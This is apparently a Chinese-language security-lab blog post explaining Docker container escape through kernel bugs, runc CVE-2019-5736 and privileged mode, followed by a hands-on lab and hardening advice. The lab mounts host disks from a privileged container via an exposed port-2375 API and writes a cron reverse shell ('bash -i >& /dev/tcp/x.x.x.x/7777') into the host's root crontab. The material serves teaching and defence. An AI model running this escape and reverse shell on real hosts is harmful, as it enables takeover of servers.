美創安全實驗室 | Docker逃逸原理
Docker是時下使用範圍最廣的開源容器技術之一,具有高效易用等優點。由於設計的原因,Docker天生就帶有強大的安全性,甚至比虛擬機器都要更安全,但你可曾想過“堅不可摧”的Docker也會被人攻破,Docker逃逸所造成的影響之大幾乎席捲了全球的Docker容器。本期美創安全實驗室將會帶大家研究造成Docker逃逸的根本原理以及相應的防禦方法。
Docker簡介
Docker是一種容器,容器的官方定義是:將軟體打包成標準化單元、以用於開發、交付和部署。容器的特點在於格式統一,執行速度快,所需資源小,並且可以層層重疊。
與虛擬機器的架構進行一下對比就可以看出,Docker整體的架構更加輕巧,靈活。而且由於Docker是直接利用宿主機的系統核心,所以可以做到幾秒鐘之內建立大量的容器,他們的啟動速度是在數量級上的差距。
虛擬機器與Docker架構對比
(左為虛擬機器架構、右為Docker架構)
Docker逃逸原理
因為Docker所使用的是隔離技術,就導致了容器內的程式無法看到外面的程式,但外面的程式可以看到裡面,所以如果一個容器可以訪問到外面的資源,甚至是獲得了宿主主機的許可權,這就叫做“Docker逃逸”。
目前產生Docker逃逸的原因總共有三種:
一、由核心漏洞引起。
二、由Docker軟體設計引起。
三、由特權模式與配置不當引起。
接下來依次對這三種逃逸方法做簡單說明。
01由於核心漏洞引起的逃逸
因為Docker是直接共享的宿主主機核心,所以當宿主主機的核心存在安全漏洞時會一併影響Docker的安全,導致可能會造成Docker逃逸。具體流程如下:
①使用核心漏洞進入核心上下文
②獲取當前程式的task struct
③回溯task list 獲取pid=1的task struct,複製其相關 資料
④切換當前namespace
⑤開啟root shell,完成逃逸
02由於Doker軟體設計引起的逃逸
比較典型的例子是Docker的標準化容器執行引擎----runc。Runc曾在2019年2月被爆出來過一個Docker逃逸漏洞CVE-2019-5736。其漏洞原理是,Docker、Containerd或其他基於runc的容易在執行時存在安全漏洞,攻擊者可以透過特定的容器映象或者exec操作獲取到宿主機runc執行檔案時的檔案控制程式碼並修改掉runc的二進位制檔案,從而獲取到宿主機的root執行許可權,造成Docker逃逸。
03由於特權模式+目錄掛載引起的逃逸
這一種逃逸方法較其他兩種來說用的更多。特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root許可權,而此前在容器內的root使用者只有外部物理機普通使用者的許可權。
使用特權模式啟動容器後(docker run --privileged),Docker容器被允許可以訪問主機上的所有裝置、可以獲取大量裝置檔案的訪問許可權、並可以執行mount命令進行掛載。
當控制使用特權模式的容器時,Docker管理員可透過mount命令將外部宿主機磁碟裝置掛載進容器內部,獲取對整個宿主機的檔案讀寫許可權,此外還可以透過寫入計劃任務等方式在宿主機執行命令。
除了使用特權模式啟動Docker會引起Docker逃逸外,使用功能機制也會造成Docker逃逸。Linux核心自版本2.2引入了功能機制(Capabilities),打破了UNIX/LINUX作業系統中超級使用者與普通使用者的概念,允許普通使用者執行超級使用者許可權方能執行的命令。例如當容器以--cap-add=SYSADMIN啟動,Container程式就被允許執行mount、umount等一系列系統管理命令,如果攻擊者此時再將外部裝置目錄掛載在容器中就會發生Docker逃逸。
Docker逃逸實驗(特權模式+目錄掛載)
目標機:192.168.210.37
目標機上對外開啟了Docker服務,執行在2375埠上。直接訪問目標機的2375埠即可未授權檢視Docker資訊,如下:
檢視當前docker中存在的所有容器:docker images
使用特權模式啟動容器
檢視磁碟檔案:fdisk -l
從返回結果來看sda1、sda2、sda3在/dev目錄下。
新建一個目錄/test,然後將/dev/sda1掛載到新建的目錄下
mkdir /test
mount /dev/sda1/test
這時再檢視新建的目錄/test,就可以訪問宿主機上的目錄內容了(/root目錄下的內容)
同理,新建一個目錄/test2,將/dev/sda3掛載到新建的目錄下,並檢視test2目錄下的內容,發現可以訪問宿主機上/目錄下的內容了
在計劃任務裡寫入一個反彈shell:
echo '*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /test2/var/spool/cron/root
在Docker上開啟netcat監聽7777埠,成功接收到宿主主機的Shell,實現Docker逃逸。
Docker逃逸防禦
➢ 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736。
➢ runc版本>1.0-rc6
➢ k8s 叢集版本>1.12
➢ Linux核心版本>=2.6.22——CVE-2016-5195(髒牛)
➢ Linux核心版本>=4.14——CVE-2017–1000405(大髒牛),未找到docker逃逸利用過程,但存在逃逸風險。
➢ 不建議以root許可權執行Docker服務。
➢不建議以privileged(特權模式)啟動Docker。
➢ 不建議將宿主機目錄掛載至容器目錄。
➢ 不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container程式允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險。
美創科技聚焦資料安全,圍繞資料安全、災難備份、資料管理、智慧運維等多方面挖掘和鑄造資料價值,憑藉卓越的產品技術和服務贏得了眾多行業的認可和使用者口碑!
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69973247/viewspace-2708952/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 三大資料庫如何寫入WebShell?|美創安全實驗室大資料資料庫Webshell
- 7月勒索病毒報告:Globelmposter勒索病毒活動增強|美創安全實驗室
- 共建“醫療合規科技實驗室”,美創科技實力護航醫療資料安全
- 產學合作,三方共建!美創領銜的這所資料安全實驗室成立
- 美創科技第59號安全實驗室最新力作!《內網滲透實戰攻略》出版發行內網
- 阿里雲體驗實驗室 教你《快速搭建Docker環境》阿里Docker
- CDL創新顛覆實驗室 Creative Destruction LabStruct
- 網路安全實驗室題目(選擇題篇)
- 美創科技以資料為中心的安全治理實踐
- 微軟成立Azure安全實驗室:最高懸賞30萬美元微軟
- 物聯網安全創新聯合實驗室:2019物聯網終端安全白皮書(附下載)
- 騰訊安全玄武實驗室披露多個區塊鏈安全漏洞報告區塊鏈
- 美創科技四個行業資料安全治理實踐案例行業
- [原創] 騰訊安全雲鼎實驗室:從惡意流量看2018十大網際網路安全趨勢
- 德勤與亞馬遜雲科技攜手建立雲上安全實驗室亞馬遜
- 國內首家移動及物聯網安全聯合實驗室成立
- 來自 AI Secure 實驗室的 LLM 安全排行榜簡介AI
- 上海交通大學 X 思嵐科技“智慧感知創新實驗室”正式揭牌
- ACM程式設計創新實驗室成員部落格一覽表ACM程式設計
- 我的軟體實驗室
- lims實驗室管理系統是什麼?實驗室資訊管理系統介紹!
- 實踐|美創助力“雲學堂”資料安全風險管控建設
- 美創成為首批信通院資料安全產品技術能力驗證計劃企業,實力領跑資料安全
- 阿里安全圖靈實驗室:ECCV2018Workshop之旅阿里圖靈
- [原創]騰訊安全雲鼎實驗室:2018年遊戲行業安全監測報告及五大攻擊趨勢遊戲行業
- 美圖影像實驗室10000 點人臉關鍵點技術全解讀
- 美顏技術的創新之路——美顏SDK的原理與應用探究
- 五劍同輝 聚力安全:綠盟科技五大安全實驗室震撼釋出
- 最新雲安全研究成果!騰訊雲鼎實驗室釋出雲安全攻防矩陣矩陣
- 身為實驗室管理者的你,需要知道的實驗室物聯網!
- 銀行資料安全治理案例(一)——美創科技
- 美創科技組合拳打好資料“安全牌”
- 青藤雲安全入選“證券期貨業網路和資料安全實驗室”安全合作伙伴
- [原創]騰訊安全雲鼎實驗室:2018上半年網際網路 DDoS 攻擊趨勢分析
- 11月26實驗室日誌
- ATC實驗室vSphere應用
- 軒轅Linux開放實驗室Linux
- Docker的核心實現原理Docker